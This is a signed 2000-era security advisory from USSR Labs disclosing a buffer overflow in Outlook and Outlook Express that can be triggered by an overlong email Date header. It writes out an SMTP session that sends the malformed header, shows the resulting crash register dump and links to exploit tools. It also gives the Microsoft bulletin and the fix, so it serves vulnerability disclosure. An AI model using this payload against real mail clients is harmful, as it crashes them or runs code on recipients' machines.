-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Remotely Exploitable Buffer Overflow in Outlook "Malformed E-mail MIME Header" Vulnerability "the new generation of virus is here. by sending a malformed e-mail you can run arbitrary code on the remote machine." USSR Advisory Code: USSR-2000050 Release Date: July 13, 2000 Systems Affected: Microsoft Outlook Express 4.0 Microsoft Outlook Express 4.01 Microsoft Outlook Express 5.0 Microsoft Outlook Express 5.01 Microsoft Outlook 97 Microsoft Outlook 98 Microsoft Outlook 2000 THE PROBLEM: The Ussr Labs team has recently discovered an exploitable buffer overflow in all versions of Outlook. The vulnerability could enable a malicious sender of an e-mail message with a malformed header to cause and exploit a buffer overrun on a user's machine. The buffer overrun could crash Outlook Express, Outlook e-mail client, or cause arbitrary code to run on the user's machine. The danger in this vulnerability is that the buffer overrun would occur even if the user does not open or preview the e-mail message. This is because the buffer overrun occurs and the vulnerability is triggered during the process of downloading the e-mail message from server to client. It is unlikely that a user will be able to delete the malicious message from the client. Instead, the user should request that the e-mail server administrator delete the message from the mail server. A nice little feature about this buffer overflow is that the mail is not deleted from the server, and next time outlook is loaded, it will try to download the mail, causing it to crash again. DEMONSTRATION: To test this vulnerability I telneted to an SMTP server and sent the following to myself: HELO MAIL FROM: BILLGATES@MICROSOFT.COM RCPT TO: MY@EMAIL.COM DATA Date: Thu,13 Jun 2000 12:33:16 +1111111111111111111111111111111111111111111111111111111111111 (dot here) QUIT After the remote host closed the connection and sent mail to the appropriate address, upon receipt of the mail the following fault was generated by Outlook: - ---------------------------------------------------------------------- - - OUTLOOK caused an invalid page fault in module at 00de:00aedc5a. Registers: EAX=80004005 CS=016f EIP=00aedc5a EFLGS=00010286 EBX=70bd4899 SS=0177 ESP=0241ef94 EBP=31313131 ECX=00000000 DS=0177 ESI=0241efc6 FS=2b57 EDX=81c0500c ES=0177 EDI=0241efc4 GS=0000 Bytes at CS:EIP: Stack dump: 0241f360 0241f554 00000000 00000001 00000000 004580d0 00000054 00000054 0241efc4 0000003b 00000100 00000017 3131312b 31313131 31313131 31313131 - ---------------------------------------------------------------------- - - SPECIAL NOTE: We take no responsibility for this code. It is for educational purposes only. EXPLOIT: Malformed Email Spawner. (works better with qmail) This code will create and send an e-mail message, that when downloaded by outlook, will open http://www.ussrback.com Unix/Linux Perl Version: http://www.ussrback.com/outoutlook.pl Windows Console Version: http://www.ussrback.com/outoutlook.exe Windows Console Version Source: http://www.ussrback.com/outoutlook.zip Vendor Status: Informed!, Contacted!. More Information: http://www.microsoft.com/technet/security/bulletin/ms00-043.asp Microsoft Security Bulletin MS00-045: Frequently Asked Questions, http://www.microsoft.com/technet/security/bulletin/fq00-043.asp Fix: The vulnerability can be eliminated by a default installation of either of the following upgrades: Internet Explorer 5.01 Service Pack 1, http://www.microsoft.com/Windows/ie/download/ie501sp1.htm Internet Explorer 5.5 on any system except Windows 2000, http://www.microsoft.com/windows/ie/download/ie55.htm Vendor Url: http://www.microsoft.com Program Url: http://www.microsoft.com/office/outlook/ Related Links: Underground Security Systems Research: http://www.ussrback.com CrunchSp Product: http://www.crunchsp.com Greetings: Attrition, w00w00, beavuh, Rhino9, Synnergy.net, SecurityFocus.com, ADM, HNC, #Synnergy (efnet),#hackphreak (efnet), Technotronic, dethy, thrill, RFP and Wiretrip. Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without explicit consent of Ussr. If you wish to reprint whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission. Disclaimer: The information within this paper may change without notice. We may not be held responsible for the use and/or potential effects of these programs or advisories. Use them and read them at your own risk or not at all. You solely are responsible for this judgement. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs@ussrback.com http://www.ussrback.com -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.2 for non-commercial use iQA/AwUBOXVkQq3JcbWNj6DDEQIP7gCg2sP4aySOiygQ8TQIUIUTGlyNAwkAnAxS aGP1fEcH8zJMlAkPDJjoVVhu =2zaQ -----END PGP SIGNATURE-----